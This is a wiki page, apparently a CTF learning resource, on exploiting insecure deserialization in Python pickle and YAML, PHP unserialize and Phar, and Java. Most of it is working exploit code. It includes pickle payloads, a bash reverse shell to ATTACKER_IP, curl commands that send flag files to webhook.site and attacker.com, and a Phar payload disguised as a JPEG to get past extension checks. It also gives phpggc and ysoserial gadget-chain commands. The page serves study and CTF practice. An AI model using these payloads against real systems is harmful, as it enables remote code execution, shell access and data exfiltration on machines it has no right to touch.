Athena Wiki

Insecure Deserialization

webintermediate

Exploit Python pickle, PHP unserialize, and Java deserialization vulnerabilities in CTF web challenges.

webdeserializationpicklephpjavarceysoserialgadget-chain

Insecure Deserialization

Insecure deserialization is a code execution vulnerability where applications deserialize untrusted data objects without validation, allowing attackers to instantiate malicious objects or chain existing methods (gadget chains) to achieve arbitrary code execution. How it works: Deserialization reconstructs objects from serialized data, automatically calling constructors and methods; languages like Python (pickle), PHP (unserialize), and Java (ObjectInputStream) can execute code during object reconstruction; gadget chains chain existing library methods to perform unintended operations. Why it matters: Affects nearly all languages (Java, Python, PHP, Node.js, Ruby); single deserialization call leads to RCE without additional logic; tools like ysoserial generate gadget chain payloads; exploitable through cookies, API responses, and message queues.


Identifying Deserialization

Python Pickle

  • Cookie or parameter starts with gASV (base64) or \x80\x04 (raw)
  • Error messages mentioning pickle
  • Flask sessions (look for . separated base64 segments)

PHP

  • Cookie/parameter contains O:, a:, s:, i: patterns
  • Error messages with unserialize() in stack traces

Java

  • HTTP body/cookie starts with rO0 (base64 of \xac\xed\x00\x05)
  • Content-Type: application/x-java-serialized-object

Python: Pickle RCE

Python's pickle module executes arbitrary code when __reduce__ is defined on a class. The payload is trivial:

import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

# Serialize
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

Reverse shell variant:

class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
        return (os.system, (cmd,))

Reading the flag without shell (curl OOB):

class RCE:
    def __reduce__(self):
        cmd = "curl https://webhook.site/YOUR-ID?d=$(cat /flag.txt | base64)"
        return (os.system, (cmd,))

Detecting pickle in a cookie:

import base64
cookie = "gASV..."
data = base64.b64decode(cookie + "==")
print(data[:4].hex())  # b'\x80\x04\x95' = pickle protocol 4

Python: YAML RCE

PyYAML's yaml.load() without Loader argument is vulnerable (CVE-2017-18342):

# Malicious YAML payload
!!python/object/apply:os.system ["cat /flag.txt"]
import yaml
# Vulnerable
yaml.load("!!python/object/apply:os.system ['id']")

# Safe
yaml.safe_load(data)  # or yaml.load(data, Loader=yaml.SafeLoader)

PHP: Object Injection

PHP's unserialize() invokes magic methods (__wakeup, __destruct, __toString) on the constructed object. If these methods have dangerous code, you get RCE.

Serialized PHP format:

O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
  ^class  ^props  ^prop_name        ^prop_value (bool true)

Crafting a payload:

<?php
// Target class must exist in the application
class Config {
    public $command = "cat /flag.txt";

    // Vulnerable: called when object is destroyed
    public function __destruct() {
        system($this->command);
    }
}

$obj = new Config();
echo urlencode(serialize($obj));
// O:6:"Config":1:{s:7:"command";s:12:"cat /flag.txt";}
?>

Common magic methods exploited:

  • __wakeup() - called on unserialize()
  • __destruct() - called when object leaves scope
  • __toString() - called when object treated as string
  • __call() - called on undefined method

PHP: POP Chains with phpggc

When the vulnerable class doesn't directly execute commands, chain Property-Oriented Programming (POP) gadgets using phpggc:

# Install
git clone https://github.com/ambionics/phpggc.git

# List available gadget chains
php phpggc -l

# Generate payload for Laravel RCE
php phpggc Laravel/RCE1 system 'cat /flag.txt' -b  # base64 output

# For Symfony
php phpggc Symfony/RCE4 system 'id' -b

# For Monolog
php phpggc Monolog/RCE1 system 'id' -b

PHP: Phar Deserialization

Even file_get_contents() or file_exists() can trigger deserialization if the path uses phar://:

// Vulnerable: user controls $filename
file_get_contents("phar://$filename");
file_exists("phar://$filename");

Create a malicious Phar file:

<?php
class Config {
    public $command = "cat /flag.txt";
    public function __destruct() { system($this->command); }
}

$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new Config();
$phar->setMetadata($obj);  // object serialized in metadata
$phar->addFromString('dummy.txt', 'dummy');
$phar->stopBuffering();
// Rename to image to bypass extension check
rename('evil.phar', 'evil.jpg');
?>

Java: Deserialization

Java serialized objects start with magic bytes \xac\xed\x00\x05 (hex) = rO0 (base64).

Automated exploitation with ysoserial:

# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# List available gadget chains
java -jar ysoserial-all.jar

# Generate payload for Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections1 "cat /flag.txt > /tmp/flag" | base64

# For Spring
java -jar ysoserial-all.jar Spring1 "curl http://attacker.com/$(cat /flag)" | base64

Detecting Java deserialization:

import base64
data = base64.b64decode(cookie)
if data[:2] == b'\xac\xed':
    print("Java serialized object detected!")

Detection & Identification Summary

SignalLanguageTool
gASV / \x80\x04 in base64Python pickleManual or custom
O:N:"ClassName"PHPphpggc
rO0 / \xac\xed\x00\x05Javaysoserial
!!python/ in YAMLPython YAMLCustom payload
. separated JWT-like cookie in FlaskPython pickle (Flask session)flask-unsign

Checklist

  • Inspect cookies/parameters for serialization signatures
  • Python pickle? → reduce with os.system or subprocess
  • PHP unserialize? → Check for magic methods in source, try phpggc
  • Java? → Look for gadget chains, use ysoserial
  • YAML? → try !!python/object/apply payloads
  • Can you read source code? → find exploitable magic methods
  • Can't exec directly? → OOB exfil via curl/wget/DNS

Last updated on

On this page